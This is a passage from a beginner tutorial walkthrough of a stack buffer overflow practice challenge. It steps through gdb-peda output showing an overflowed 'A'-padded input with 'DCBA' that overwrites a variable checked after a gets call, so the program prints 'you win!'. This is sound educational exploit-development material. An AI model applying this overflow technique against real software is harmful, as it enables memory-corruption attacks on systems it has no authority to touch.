EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b7 (<main+58>: jne 0x80484c5 <main+72>)
[-------------------------------------------------code--------------------------------------------------]
0x80484a9 <main+44>: call 0x8048340 <gets@plt>
0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
0x80484b2 <main+53>: cmp eax,0x41424344
=> 0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
0x80484c0 <main+67>: call 0x8048350 <puts@plt>
0x80484c5 <main+72>: leave
0x80484c6 <main+73>: ret
JUMP is NOT taken
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b7 in main ()
gdb-peda$
Awesome! The jump was NOT taken!
43. Let's be sure and get thru the next instruction to see what happens next. Type in "n" to get:
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41424344 (b'DCBA')
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b9 (<main+60>: mov DWORD PTR [esp],0x8048578)
[-------------------------------------------------code--------------------------------------------------]
0x80484ae <main+49>: mov eax,DWORD PTR [esp+0x6c]
0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
=> 0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
0x80484c0 <main+67>: call 0x8048350 <puts@plt>
0x80484c5 <main+72>: leave
0x80484c6 <main+73>: ret
0x80484c7: xchg ax,ax
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b9 in main ()
gdb-peda$
Very good! Based on looking at the memory earlier, we should get our right message!
44. Let's finish this out. Type in "n" to get:
gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41424344 (b'DCBA')
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xfbad2288
EDX: 0xb7fbf8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0x8048578 ("you win!")
EIP: 0x80484c0 (<main+67>: call 0x8048350 <puts@plt>)
[-------------------------------------------------code--------------------------------------------------]
0x80484b2 <main+53>: cmp eax,0x41424344
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
=> 0x80484c0 <main+67>: call 0x8048350 <puts@plt>
0x80484c5 <main+72>: leave
0x80484c6 <main+73>: ret
0x80484c7: xchg ax,ax
0x80484c9: xchg ax,ax
Guessed arguments:
arg[0]: 0x8048578 ("you win!")
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0x8048578 ("you win!")
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484c0 in main ()
gdb-peda$
Again, we see the "Guessed arguments" and the values being passed into the
puts function.
45. Lastly, type in "n" again to get:
gdb-peda$ n
you win!
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x9 (b'\t')
EBX: 0xb7fbe000 --> 0x1a9da8
ECX: 0xb7fd8000 ("you win!\nf09c c"...)
EDX: 0xb7fbf898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff0f8 --> 0x0
ESP: 0xbffff080 --> 0x8048578 ("you win!")
EIP: 0x80484c5 (<main+72>: leave)
[-------------------------------------------------code--------------------------------------------------]
0x80484b7 <main+58>: jne 0x80484c5 <main+72>
0x80484b9 <main+60>: mov DWORD PTR [esp],0x8048578
0x80484c0 <main+67>: call 0x8048350 <puts@plt>
=> 0x80484c5 <main+72>: leave
0x80484c6 <main+73>: ret
0x80484c7: xchg ax,ax
0x80484c9: xchg ax,ax
0x80484cb: xchg ax,ax
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0x8048578 ("you win!")
01:0004| 0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008| 0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012| 0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016| 0xbffff090 --> 0xb7fff938 --> 0x0
05:0020| 0xbffff094 --> 0x0
06:0024| 0xbffff098 --> 0xc2
07:0028| 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484c5 in main ()
gdb-peda$
46. You win. We win. We finally smashed that stack. Smashed it real good. As a quick aside, we had to enter in the return key to enter in our values interactively into the program. That fact may become relevant in the future.
47. Type in "c" to continue the program and then "q" to quit GDB.
Great job! There's more challenges to solve. Join me next time for warming up on the stack #2!